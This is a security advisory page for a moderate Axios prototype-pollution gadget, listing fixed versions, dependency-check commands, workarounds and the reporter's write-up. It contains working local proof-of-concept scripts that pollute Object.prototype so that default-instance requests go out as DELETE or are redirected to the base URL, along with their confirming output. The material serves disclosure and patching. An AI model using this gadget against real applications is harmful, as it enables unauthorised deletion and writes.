CVE-2026-101902: Axios Prototype-Pollution Gadget Vulnerability
MODERATE
Advisory Identifier:
GHSA-9fr6-4gfg-395g
CWE-1321
Published
Advisory Summary
CVE-2026-101902 is a MODERATE prototype-pollution gadget vulnerability (CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')) affecting Axios libraries in the npm ecosystem. The issue involves prototype-pollution gadget in the default instance allows inherited object.prototype.method to override http method. Remediation is available by upgrading affected packages to version 0.34.0, 1.20.0.
CVE-2026-101902 at a Glance
CVE Identifier
CVE-2026-101902
GHSA Identifier
GHSA-9fr6-4gfg-395g
Severity
MODERATE
CVSS v3.1 Base Score
N/A
CWE Classification
CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Affected Product
Axios
Package Ecosystem
npm
Published Date
Last Updated
How to Fix CVE-2026-101902
To remediate this vulnerability, upgrade all affected Axios dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
axios
fixed: 0.34.0
npm install axios@0.34.0
axios
fixed: 1.20.0
npm install axios@1.20.0
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls axiosHow to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-101902, inspect your project dependencies using npm:
npm ls axiosAnalyze the terminal output to locate any version of Axios in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.34.0), your application is affected.
Note: The npm ls axios command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), where the product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype. In Axios, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
## Summary
Axios default-instance requests that omit an explicit method can read an inherited `method` value from `Object.prototype`. If another vulnerability in the same process pollutes `Object.prototype.method`, calls such as `axios.request({ url })` and `axios({ url })` can send a state-changing HTTP method instead of the expected default `GET`.
Axios does not create the prototype pollution source. This is a read-side gadget in axios request dispatch.
## Impact
In an affected application with a separate prototype-pollution primitive, an attacker can change axios default-instance requests that omit `method` from `GET` to methods such as `DELETE`, `POST`, `PUT`, or `PATCH`. The practical impact depends on the target endpoint and can include unintended writes, deletion, or other state changes.
Method aliases such as `axios.get(url)` and requests with an explicit own `method` are not affected by the confirmed method path.
## Affected Functionality
Affected:
- Default axios instance calls: `axios.request({ url })`.
- Callable shorthand: `axios({ url })`.
- Requests where no own `config.method` is provided.
Not affected in the confirmed method PoC:
- `axios.get(url)` and other method aliases.
- `axios.request({ url, method: 'GET' })`.
- `axios.create().request({ url })` when the created instance defaults are produced by current `mergeConfig()` and do not inherit from `Object.prototype`.
## Technical Details
`lib/core/Axios.js` sets the request method with:
```js
config.method = (config.method || this.defaults.method || 'get').toLowerCase();
```
`mergeConfig()` now returns a null-prototype request config, so `config.method` is safe from `Object.prototype`. However, the default axios instance stores the module defaults object as `this.defaults`, and that defaults object is a normal object. If `Object.prototype.method` exists, `this.defaults.method` resolves to the polluted inherited value.
Local verification on axios `1.18.1` showed a default-instance `axios.request({ url })` request reaching a loopback server as `DELETE` after `Object.prototype.method = 'DELETE'`.
## Proof of Concept of Attack
Constrained local demonstration:
```js
Object.prototype.method = 'DELETE';
try {
await axios.request({ url: 'http://127.0.0.1:<port>/resource' });
} finally {
delete Object.prototype.method;
}
```
Expected safe behavior is a `GET` request. Current affected behavior sends `DELETE` on the default instance when no method is provided.
## Workarounds
Use explicit method aliases such as `axios.get()` or set an own `method` on request configs. Avoid default-instance shorthand for requests in processes where prototype pollution is suspected or possible.
<details>
<summary><h3>Original report</h3></summary>
### Summary
Axios `1.17.0` contains a read-side prototype-pollution gadget in the default Axios instance. If another vulnerability in the same Node.js process pollutes `Object.prototype.method`, default-instance calls such as `axios.request({ url })` and `axios({ url })` can be forced to use an attacker-controlled HTTP method, such as `DELETE`, instead of the expected default `GET`.
Axios does not create the prototype pollution by itself. The issue is that Axios reads fallback values from `this.defaults` without an own-property guard, allowing inherited values from `Object.prototype` to influence request behavior.
This should be treated as a prototype-pollution gadget, not as a standalone prototype-pollution source. In other words, Axios is not the component that lets the attacker write to `Object.prototype`; Axios is the component that becomes dangerous after `Object.prototype` has already been polluted by another bug in the same process.
### Details
The vulnerable fallback read is in `lib/core/Axios.js`:
```js
// Set config.allowAbsoluteUrls
if (config.allowAbsoluteUrls !== undefined) {
// do nothing
} else if (this.defaults.allowAbsoluteUrls !== undefined) {
config.allowAbsoluteUrls = this.defaults.allowAbsoluteUrls;
} else {
config.allowAbsoluteUrls = true;
}
// Set config.method
config.method = (config.method || this.defaults.method || 'get').toLowerCase();
```
The merged request `config` is created as a null-prototype object in `lib/core/mergeConfig.js`:
```js
const config = Object.create(null);
```
Therefore, when the caller does not provide `config.method`, the fallback becomes:
```js
this.defaults.method
```
The default Axios instance uses the module defaults object. In the tested version, that defaults object is affected by inherited properties from `Object.prototype`. If `Object.prototype.method` is polluted, `this.defaults.method` resolves to that inherited value and Axios uses it as the request method.
The same unsafe inherited-property pattern also affects `this.defaults.allowAbsoluteUrls`, which can change how absolute URLs are combined with `baseURL`.
### Proof of Concept
#### Access and Attack Conditions
No admin access is required for Axios itself. This is a library-level gadget.
The attacker must have an existing way to pollute `Object.prototype` in the same Node.js process, for example through a separate prototype-pollution vulnerability in another dependency or application input path. Axios is the gadget that turns that pollution into dangerous HTTP request behavior.
Required condition:
```text
Some other bug or unsafe merge path in the application must allow Object.prototype pollution.
```
What Axios contributes:
```text
Axios reads inherited Object.prototype.method through this.defaults.method and uses it as the HTTP method fallback.
```
What Axios does not do:
```text
Axios does not create Object.prototype pollution by itself.
```
Affected usage:
```js
axios.request({ url });
axios({ url });
```
Not affected in the confirmed PoC:
```js
axios.get(url);
axios.request({ url, method: "GET" });
axios.create().request({ url });
```
#### Reproduction Steps
1. Create a clean test directory and install Axios `1.17.0`:
```powershell
mkdir axios-validation
cd axios-validation
npm init -y
npm install axios@1.17.0 --no-audit --no-fund
```
2. Save the method override PoC below as:
```text
validate-prototype-method-gadget.mjs
```
3. Run the PoC:
```powershell
node validate-prototype-method-gadget.mjs
```
4. Confirm that the output shows:
```text
defaultRequestMethod=DELETE
defaultShorthandMethod=DELETE
getAliasMethod=GET
explicitGetMethod=GET
createdInstanceMethod=GET
RESULT: CONFIRMED
```
5. This proves that after `Object.prototype.method = "DELETE"`, default-instance calls that omit an explicit method are sent as `DELETE`.
#### What the Method PoC Script Does
The PoC starts a temporary local HTTP server for each Axios call and records the HTTP method received by that server. It then simulates an already-existing prototype-pollution condition by setting:
```js
Object.prototype.method = "DELETE";
```
While that pollution is active, the script sends five Axios requests:
```js
axios.request({ url }); // expected vulnerable path
axios({ url }); // expected vulnerable shorthand path
axios.get(url); // expected safe alias path
axios.request({ url, method: "GET" }); // expected safe explicit-method path
axios.create().request({ url }); // expected safe isolated-instance path
```
The script then deletes the polluted property:
```js
delete Object.prototype.method;
```
Finally, it prints the method observed by the local server for each request. The vulnerable behavior is confirmed when the default Axios instance sends `DELETE` for `axios.request({ url })` and `axios({ url })`, while the safe comparison paths still send `GET`.
#### Method Override PoC
Create `validate-prototype-method-gadget.mjs`:
```js
import http from "node:http";
import axios from "axios";
async function listen(server) {
await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve));
return server.address().port;
}
async function runRequest(label, requestFn) {
const hits = [];
const server = http.createServer((req, res) => {
hits.push({
method: req.method,
url: req.url,
});
res.writeHead(200, { "content-type": "application/json" });
res.end(JSON.stringify({ ok: true }));
});
const port = await listen(server);
const url = `http://127.0.0.1:${port}/${label}`;
let status = "completed";
let error = "";
try {
await requestFn(url);
} catch (err) {
status = "error";
error = err?.message || String(err);
}
server.close();
return { label, status, error, hits };
}
const results = [];
Object.prototype.method = "DELETE";
try {
results.push(await runRequest("default-request-no-method", (url) => axios.request({ url })));
results.push(await runRequest("default-shorthand-no-method", (url) => axios({ url })));
results.push(await runRequest("default-get-alias", (url) => axios.get(url)));
results.push(await runRequest("default-request-explicit-get", (url) => axios.request({ url, method: "GET" })));
const instance = axios.create();
results.push(await runRequest("created-instance-request-no-method", (url) => instance.request({ url })));
} finally {
delete Object.prototype.method;
}
const defaultRequestMethod = results.find((r) => r.label === "default-request-no-method")?.hits[0]?.method || "";
const defaultShorthandMethod = results.find((r) => r.label === "default-shorthand-no-method")?.hits[0]?.method || "";
const getAliasMethod = results.find((r) => r.label === "default-get-alias")?.hits[0]?.method || "";
const explicitGetMethod = results.find((r) => r.label === "default-request-explicit-get")?.hits[0]?.method || "";
const createdInstanceMethod = results.find((r) => r.label === "created-instance-request-no-method")?.hits[0]?.method || "";
console.log(`axiosVersion=${axios.VERSION}`);
console.log(`results=${JSON.stringify(results)}`);
console.log(`defaultRequestMethod=${defaultRequestMethod}`);
console.log(`defaultShorthandMethod=${defaultShorthandMethod}`);
console.log(`getAliasMethod=${getAliasMethod}`);
console.log(`explicitGetMethod=${explicitGetMethod}`);
console.log(`createdInstanceMethod=${createdInstanceMethod}`);
const confirmed =
defaultRequestMethod === "DELETE" &&
defaultShorthandMethod === "DELETE" &&
getAliasMethod === "GET" &&
explicitGetMethod === "GET" &&
createdInstanceMethod === "GET";
console.log(confirmed ? "RESULT: CONFIRMED" : "RESULT: NOT CONFIRMED");
process.exitCode = confirmed ? 0 : 1;
```
Run:
```powershell
node validate-prototype-method-gadget.mjs
```
Observed result:
```text
axiosVersion=1.17.0
defaultRequestMethod=DELETE
defaultShorthandMethod=DELETE
getAliasMethod=GET
explicitGetMethod=GET
createdInstanceMethod=GET
RESULT: CONFIRMED
```
The local server received:
```text
axios.request({ url }) -> DELETE
axios({ url }) -> DELETE
axios.get(url) -> GET
axios.request({ url, method:"GET" }) -> GET
axios.create().request({ url }) -> GET
```
This confirms that inherited `Object.prototype.method` controls the default method for vulnerable default-instance request paths.
#### Supporting `allowAbsoluteUrls` Gadget Evidence
The same inherited-property issue affects `allowAbsoluteUrls`.
Create `validate-prototype-allowabsoluteurls-gadget.mjs`:
```js
import http from "node:http";
import axios from "axios";
async function listen(server) {
await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve));
return server.address().port;
}
async function runCase(label, requestFn) {
const baseHits = [];
const absoluteHits = [];
const baseServer = http.createServer((req, res) => {
baseHits.push({ method: req.method, url: req.url, host: req.headers.host || "" });
res.end("base");
});
const absoluteServer = http.createServer((req, res) => {
absoluteHits.push({ method: req.method, url: req.url, host: req.headers.host || "" });
res.end("absolute");
});
const basePort = await listen(baseServer);
const absolutePort = await listen(absoluteServer);
try {
await requestFn({
baseURL: `http://127.0.0.1:${basePort}/api`,
url: `http://127.0.0.1:${absolutePort}/absolute-path`,
});
} catch {}
baseServer.close();
absoluteServer.close();
return { label, baseHits, absoluteHits };
}
const results = [];
results.push(await runCase("baseline-no-pollution", (config) => axios.request(config)));
Object.prototype.allowAbsoluteUrls = false;
try {
results.push(await runCase("polluted-default-request", (config) => axios.request(config)));
const instance = axios.create();
results.push(await runCase("polluted-created-instance", (config) => instance.request(config)));
} finally {
delete Object.prototype.allowAbsoluteUrls;
}
console.log(`axiosVersion=${axios.VERSION}`);
console.log(`results=${JSON.stringify(results)}`);
```
Observed result:
```text
axiosVersion=1.17.0
baselineUsedAbsolute=true
pollutedDefaultUsedBase=true
pollutedInstanceUsedAbsolute=true
RESULT: CONFIRMED
```
Without pollution, Axios sends the request to the absolute URL. After `Object.prototype.allowAbsoluteUrls = false`, the default Axios instance combines the absolute URL with `baseURL` and sends the request to the base server instead. An instance created with `axios.create()` remains unaffected.
### Impact
This is a prototype-pollution gadget. It becomes exploitable when an application has any separate prototype-pollution primitive that allows an attacker to set properties on `Object.prototype` in the same Node.js process.
If such pollution is possible, an attacker can influence Axios default-instance requests that omit an explicit method:
- `axios.request({ url })`
- `axios({ url })`
This can turn an expected safe default `GET` request into a state-changing method such as:
- `DELETE`
- `POST`
- `PUT`
- `PATCH`
Potential impact includes unauthorized state-changing requests, deletion of resources, unintended writes, data corruption, or denial of service when the target endpoint treats the HTTP method as security-relevant.
The issue does not require admin access to Axios itself, but it does require an existing prototype-pollution path in the application. Applications that always use explicit methods, method aliases such as `axios.get()`, or isolated instances created through `axios.create()` are not affected by the confirmed method-override path.
</details>
---
CVE-2026-101902 Affected Axios Versions
2 component(s)
Fixed Versions:
0.34.01.20.0
References
GitHub Advisory / Wiki
ADVISORY
https://github.com/axios/axios/security/advisories/GHSA-9fr6-4gfg-395g
NVD — CVE-2026-101902
NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-101902
Axios Source Repository
REPOSITORY
https://github.com/axios/axios/pull/11141
Security Fix Commit
FIX COMMIT
https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a
Axios Source Repository
REPOSITORY
https://github.com/axios/axios
Axios Release
RELEASE
https://github.com/axios/axios/releases/tag/v0.34.0
Axios Release
RELEASE
https://github.com/axios/axios/releases/tag/v1.20.0
Frequently Asked Questions
What is CVE-2026-101902?
CVE-2026-101902 is a security vulnerability in Axios involving Prototype-Pollution Gadget in the Default Instance Allows Inherited Object.prototype.method to Override HTTP Method under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution').
Which Axios versions are affected?
Affected versions include releases prior to 0.34.0, 1.20.0 across affected packages: axios.
What version fixes CVE-2026-101902?
Upgrading to 0.34.0, 1.20.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is axios affected?
Yes, axios is affected in releases prior to 0.34.0, 1.20.0. Upgrade your dependency to 0.34.0, 1.20.0 or later.
What CWE is associated with CVE-2026-101902?
CVE-2026-101902 is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') (The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.).
How can I check npm dependencies for CVE-2026-101902?
Run the dependency tree command: 'npm ls axios'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-9fr6-4gfg-395g",
"modified" : "2026-09-30T15:12:49Z",
"published" : "2026-09-30T15:12:49Z",
"aliases" : [ "CVE-2026-101902" ],
"summary" : "Axios: Prototype-Pollution Gadget in the Default Instance Allows Inherited Object.prototype.method to Override HTTP Method",
"details" : "## Summary\n\nAxios default-instance requests that omit an explicit method can read an inherited `method` value from `Object.prototype`. If another vulnerability in the same process pollutes `Object.prototype.method`, calls such as `axios.request({ url })` and `axios({ url })` can send a state-changing HTTP method instead of the expected default `GET`.\n\nAxios does not create the prototype pollution source. This is a read-side gadget in axios request dispatch.\n\n## Impact\n\nIn an affected application with a separate prototype-pollution primitive, an attacker can change axios default-instance requests that omit `method` from `GET` to methods such as `DELETE`, `POST`, `PUT`, or `PATCH`. The practical impact depends on the target endpoint and can include unintended writes, deletion, or other state changes.\n\nMethod aliases such as `axios.get(url)` and requests with an explicit own `method` are not affected by the confirmed method path.\n\n## Affected Functionality\n\nAffected:\n\n- Default axios instance calls: `axios.request({ url })`.\n- Callable shorthand: `axios({ url })`.\n- Requests where no own `config.method` is provided.\n\nNot affected in the confirmed method PoC:\n\n- `axios.get(url)` and other method aliases.\n- `axios.request({ url, method: 'GET' })`.\n- `axios.create().request({ url })` when the created instance defaults are produced by current `mergeConfig()` and do not inherit from `Object.prototype`.\n\n## Technical Details\n\n`lib/core/Axios.js` sets the request method with:\n\n```js\nconfig.method = (config.method || this.defaults.method || 'get').toLowerCase();\n```\n\n`mergeConfig()` now returns a null-prototype request config, so `config.method` is safe from `Object.prototype`. However, the default axios instance stores the module defaults object as `this.defaults`, and that defaults object is a normal object. If `Object.prototype.method` exists, `this.defaults.method` resolves to the polluted inherited value.\n\nLocal verification on axios `1.18.1` showed a default-instance `axios.request({ url })` request reaching a loopback server as `DELETE` after `Object.prototype.method = 'DELETE'`.\n\n## Proof of Concept of Attack\n\nConstrained local demonstration:\n\n```js\nObject.prototype.method = 'DELETE';\ntry {\n await axios.request({ url: 'http://127.0.0.1:<port>/resource' });\n} finally {\n delete Object.prototype.method;\n}\n```\n\nExpected safe behavior is a `GET` request. Current affected behavior sends `DELETE` on the default instance when no method is provided.\n\n## Workarounds\n\nUse explicit method aliases such as `axios.get()` or set an own `method` on request configs. Avoid default-instance shorthand for requests in processes where prototype pollution is suspected or possible.\n\n<details>\n <summary><h3>Original report</h3></summary>\n \n### Summary\n\nAxios `1.17.0` contains a read-side prototype-pollution gadget in the default Axios instance. If another vulnerability in the same Node.js process pollutes `Object.prototype.method`, default-instance calls such as `axios.request({ url })` and `axios({ url })` can be forced to use an attacker-controlled HTTP method, such as `DELETE`, instead of the expected default `GET`.\n\nAxios does not create the prototype pollution by itself. The issue is that Axios reads fallback values from `this.defaults` without an own-property guard, allowing inherited values from `Object.prototype` to influence request behavior.\n\nThis should be treated as a prototype-pollution gadget, not as a standalone prototype-pollution source. In other words, Axios is not the component that lets the attacker write to `Object.prototype`; Axios is the component that becomes dangerous after `Object.prototype` has already been polluted by another bug in the same process.\n\n### Details\n\nThe vulnerable fallback read is in `lib/core/Axios.js`:\n\n```js\n// Set config.allowAbsoluteUrls\nif (config.allowAbsoluteUrls !== undefined) {\n // do nothing\n} else if (this.defaults.allowAbsoluteUrls !== undefined) {\n config.allowAbsoluteUrls = this.defaults.allowAbsoluteUrls;\n} else {\n config.allowAbsoluteUrls = true;\n}\n\n// Set config.method\nconfig.method = (config.method || this.defaults.method || 'get').toLowerCase();\n```\n\nThe merged request `config` is created as a null-prototype object in `lib/core/mergeConfig.js`:\n\n```js\nconst config = Object.create(null);\n```\n\nTherefore, when the caller does not provide `config.method`, the fallback becomes:\n\n```js\nthis.defaults.method\n```\n\nThe default Axios instance uses the module defaults object. In the tested version, that defaults object is affected by inherited properties from `Object.prototype`. If `Object.prototype.method` is polluted, `this.defaults.method` resolves to that inherited value and Axios uses it as the request method.\n\nThe same unsafe inherited-property pattern also affects `this.defaults.allowAbsoluteUrls`, which can change how absolute URLs are combined with `baseURL`.\n\n### Proof of Concept\n\n#### Access and Attack Conditions\n\nNo admin access is required for Axios itself. This is a library-level gadget.\n\nThe attacker must have an existing way to pollute `Object.prototype` in the same Node.js process, for example through a separate prototype-pollution vulnerability in another dependency or application input path. Axios is the gadget that turns that pollution into dangerous HTTP request behavior.\n\nRequired condition:\n\n```text\nSome other bug or unsafe merge path in the application must allow Object.prototype pollution.\n```\n\nWhat Axios contributes:\n\n```text\nAxios reads inherited Object.prototype.method through this.defaults.method and uses it as the HTTP method fallback.\n```\n\nWhat Axios does not do:\n\n```text\nAxios does not create Object.prototype pollution by itself.\n```\n\nAffected usage:\n\n```js\naxios.request({ url });\naxios({ url });\n```\n\nNot affected in the confirmed PoC:\n\n```js\naxios.get(url);\naxios.request({ url, method: \"GET\" });\naxios.create().request({ url });\n```\n\n#### Reproduction Steps\n\n1. Create a clean test directory and install Axios `1.17.0`:\n\n```powershell\nmkdir axios-validation\ncd axios-validation\nnpm init -y\nnpm install axios@1.17.0 --no-audit --no-fund\n```\n\n2. Save the method override PoC below as:\n\n```text\nvalidate-prototype-method-gadget.mjs\n```\n\n3. Run the PoC:\n\n```powershell\nnode validate-prototype-method-gadget.mjs\n```\n\n4. Confirm that the output shows:\n\n```text\ndefaultRequestMethod=DELETE\ndefaultShorthandMethod=DELETE\ngetAliasMethod=GET\nexplicitGetMethod=GET\ncreatedInstanceMethod=GET\nRESULT: CONFIRMED\n```\n\n5. This proves that after `Object.prototype.method = \"DELETE\"`, default-instance calls that omit an explicit method are sent as `DELETE`.\n\n#### What the Method PoC Script Does\n\nThe PoC starts a temporary local HTTP server for each Axios call and records the HTTP method received by that server. It then simulates an already-existing prototype-pollution condition by setting:\n\n```js\nObject.prototype.method = \"DELETE\";\n```\n\nWhile that pollution is active, the script sends five Axios requests:\n\n```js\naxios.request({ url }); // expected vulnerable path\naxios({ url }); // expected vulnerable shorthand path\naxios.get(url); // expected safe alias path\naxios.request({ url, method: \"GET\" }); // expected safe explicit-method path\naxios.create().request({ url }); // expected safe isolated-instance path\n```\n\nThe script then deletes the polluted property:\n\n```js\ndelete Object.prototype.method;\n```\n\nFinally, it prints the method observed by the local server for each request. The vulnerable behavior is confirmed when the default Axios instance sends `DELETE` for `axios.request({ url })` and `axios({ url })`, while the safe comparison paths still send `GET`.\n\n#### Method Override PoC\n\nCreate `validate-prototype-method-gadget.mjs`:\n\n```js\nimport http from \"node:http\";\nimport axios from \"axios\";\n\nasync function listen(server) {\n await new Promise((resolve) => server.listen(0, \"127.0.0.1\", resolve));\n return server.address().port;\n}\n\nasync function runRequest(label, requestFn) {\n const hits = [];\n const server = http.createServer((req, res) => {\n hits.push({\n method: req.method,\n url: req.url,\n });\n res.writeHead(200, { \"content-type\": \"application/json\" });\n res.end(JSON.stringify({ ok: true }));\n });\n\n const port = await listen(server);\n const url = `http://127.0.0.1:${port}/${label}`;\n\n let status = \"completed\";\n let error = \"\";\n try {\n await requestFn(url);\n } catch (err) {\n status = \"error\";\n error = err?.message || String(err);\n }\n\n server.close();\n return { label, status, error, hits };\n}\n\nconst results = [];\n\nObject.prototype.method = \"DELETE\";\ntry {\n results.push(await runRequest(\"default-request-no-method\", (url) => axios.request({ url })));\n results.push(await runRequest(\"default-shorthand-no-method\", (url) => axios({ url })));\n results.push(await runRequest(\"default-get-alias\", (url) => axios.get(url)));\n results.push(await runRequest(\"default-request-explicit-get\", (url) => axios.request({ url, method: \"GET\" })));\n\n const instance = axios.create();\n results.push(await runRequest(\"created-instance-request-no-method\", (url) => instance.request({ url })));\n} finally {\n delete Object.prototype.method;\n}\n\nconst defaultRequestMethod = results.find((r) => r.label === \"default-request-no-method\")?.hits[0]?.method || \"\";\nconst defaultShorthandMethod = results.find((r) => r.label === \"default-shorthand-no-method\")?.hits[0]?.method || \"\";\nconst getAliasMethod = results.find((r) => r.label === \"default-get-alias\")?.hits[0]?.method || \"\";\nconst explicitGetMethod = results.find((r) => r.label === \"default-request-explicit-get\")?.hits[0]?.method || \"\";\nconst createdInstanceMethod = results.find((r) => r.label === \"created-instance-request-no-method\")?.hits[0]?.method || \"\";\n\nconsole.log(`axiosVersion=${axios.VERSION}`);\nconsole.log(`results=${JSON.stringify(results)}`);\nconsole.log(`defaultRequestMethod=${defaultRequestMethod}`);\nconsole.log(`defaultShorthandMethod=${defaultShorthandMethod}`);\nconsole.log(`getAliasMethod=${getAliasMethod}`);\nconsole.log(`explicitGetMethod=${explicitGetMethod}`);\nconsole.log(`createdInstanceMethod=${createdInstanceMethod}`);\n\nconst confirmed =\n defaultRequestMethod === \"DELETE\" &&\n defaultShorthandMethod === \"DELETE\" &&\n getAliasMethod === \"GET\" &&\n explicitGetMethod === \"GET\" &&\n createdInstanceMethod === \"GET\";\n\nconsole.log(confirmed ? \"RESULT: CONFIRMED\" : \"RESULT: NOT CONFIRMED\");\nprocess.exitCode = confirmed ? 0 : 1;\n```\n\nRun:\n\n```powershell\nnode validate-prototype-method-gadget.mjs\n```\n\nObserved result:\n\n```text\naxiosVersion=1.17.0\ndefaultRequestMethod=DELETE\ndefaultShorthandMethod=DELETE\ngetAliasMethod=GET\nexplicitGetMethod=GET\ncreatedInstanceMethod=GET\nRESULT: CONFIRMED\n```\n\nThe local server received:\n\n```text\naxios.request({ url }) -> DELETE\naxios({ url }) -> DELETE\naxios.get(url) -> GET\naxios.request({ url, method:\"GET\" }) -> GET\naxios.create().request({ url }) -> GET\n```\n\nThis confirms that inherited `Object.prototype.method` controls the default method for vulnerable default-instance request paths.\n\n#### Supporting `allowAbsoluteUrls` Gadget Evidence\n\nThe same inherited-property issue affects `allowAbsoluteUrls`.\n\nCreate `validate-prototype-allowabsoluteurls-gadget.mjs`:\n\n```js\nimport http from \"node:http\";\nimport axios from \"axios\";\n\nasync function listen(server) {\n await new Promise((resolve) => server.listen(0, \"127.0.0.1\", resolve));\n return server.address().port;\n}\n\nasync function runCase(label, requestFn) {\n const baseHits = [];\n const absoluteHits = [];\n\n const baseServer = http.createServer((req, res) => {\n baseHits.push({ method: req.method, url: req.url, host: req.headers.host || \"\" });\n res.end(\"base\");\n });\n\n const absoluteServer = http.createServer((req, res) => {\n absoluteHits.push({ method: req.method, url: req.url, host: req.headers.host || \"\" });\n res.end(\"absolute\");\n });\n\n const basePort = await listen(baseServer);\n const absolutePort = await listen(absoluteServer);\n\n try {\n await requestFn({\n baseURL: `http://127.0.0.1:${basePort}/api`,\n url: `http://127.0.0.1:${absolutePort}/absolute-path`,\n });\n } catch {}\n\n baseServer.close();\n absoluteServer.close();\n\n return { label, baseHits, absoluteHits };\n}\n\nconst results = [];\n\nresults.push(await runCase(\"baseline-no-pollution\", (config) => axios.request(config)));\n\nObject.prototype.allowAbsoluteUrls = false;\ntry {\n results.push(await runCase(\"polluted-default-request\", (config) => axios.request(config)));\n const instance = axios.create();\n results.push(await runCase(\"polluted-created-instance\", (config) => instance.request(config)));\n} finally {\n delete Object.prototype.allowAbsoluteUrls;\n}\n\nconsole.log(`axiosVersion=${axios.VERSION}`);\nconsole.log(`results=${JSON.stringify(results)}`);\n```\n\nObserved result:\n\n```text\naxiosVersion=1.17.0\nbaselineUsedAbsolute=true\npollutedDefaultUsedBase=true\npollutedInstanceUsedAbsolute=true\nRESULT: CONFIRMED\n```\n\nWithout pollution, Axios sends the request to the absolute URL. After `Object.prototype.allowAbsoluteUrls = false`, the default Axios instance combines the absolute URL with `baseURL` and sends the request to the base server instead. An instance created with `axios.create()` remains unaffected.\n\n### Impact\n\nThis is a prototype-pollution gadget. It becomes exploitable when an application has any separate prototype-pollution primitive that allows an attacker to set properties on `Object.prototype` in the same Node.js process.\n\nIf such pollution is possible, an attacker can influence Axios default-instance requests that omit an explicit method:\n\n- `axios.request({ url })`\n- `axios({ url })`\n\nThis can turn an expected safe default `GET` request into a state-changing method such as:\n\n- `DELETE`\n- `POST`\n- `PUT`\n- `PATCH`\n\nPotential impact includes unauthorized state-changing requests, deletion of resources, unintended writes, data corruption, or denial of service when the target endpoint treats the HTTP method as security-relevant.\n\nThe issue does not require admin access to Axios itself, but it does require an existing prototype-pollution path in the application. Applications that always use explicit methods, method aliases such as `axios.get()`, or isolated instances created through `axios.create()` are not affected by the confirmed method-override path.\n</details>\n\n---",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:H/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "axios"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0.27.2"
}, {
"fixed" : "0.34.0"
} ]
} ]
}, {
"package" : {
"ecosystem" : "npm",
"name" : "axios"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.0.0"
}, {
"fixed" : "1.20.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/axios/axios/security/advisories/GHSA-9fr6-4gfg-395g"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-101902"
}, {
"type" : "WEB",
"url" : "https://github.com/axios/axios/pull/11141"
}, {
"type" : "WEB",
"url" : "https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/axios/axios"
}, {
"type" : "WEB",
"url" : "https://github.com/axios/axios/releases/tag/v0.34.0"
}, {
"type" : "WEB",
"url" : "https://github.com/axios/axios/releases/tag/v1.20.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1321" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-09-30T15:12:49Z",
"nvd_published_at" : "2026-09-28T18:17:18Z"
}
}